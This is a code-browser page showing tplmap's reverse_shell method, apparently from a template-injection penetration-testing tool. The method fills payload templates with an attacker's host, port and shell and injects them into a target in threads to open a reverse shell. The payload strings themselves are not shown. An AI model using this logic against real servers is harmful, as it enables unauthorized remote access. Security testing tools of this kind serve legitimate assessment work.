MCPcopy
hub / github.com/epinna/tplmap / reverse_shell

Method reverse_shell

core/plugin.py:802–821  ·  view source on GitHub ↗
(self, host, port, shell = "/bin/sh")

Source from the content-addressed store, hash-verified

800
801
802 def reverse_shell(self, host, port, shell = "/bin/sh"):
803
804 action = self.actions.get('reverse_shell', {})
805 payload_actions = action.get('reverse_shell')
806 call_name = action.get('call', 'inject')
807
808 # Skip if something is missing or call function is not set
809 if not action or not isinstance(payload_actions, list) or not call_name or not hasattr(self, call_name):
810 return
811
812 for payload_action in payload_actions:
813
814 execution_code = payload_action % ({
815 'port' : port,
816 'shell' : shell,
817 'host': host,
818 })
819
820 reqthread = threading.Thread(target=getattr(self, call_name), args=(execution_code,))
821 reqthread.start()
822
823 def update_actions(self, actions):
824

Callers 1

check_template_injectionFunction · 0.80

Calls 1

getMethod · 0.80

Tested by

no test coverage detected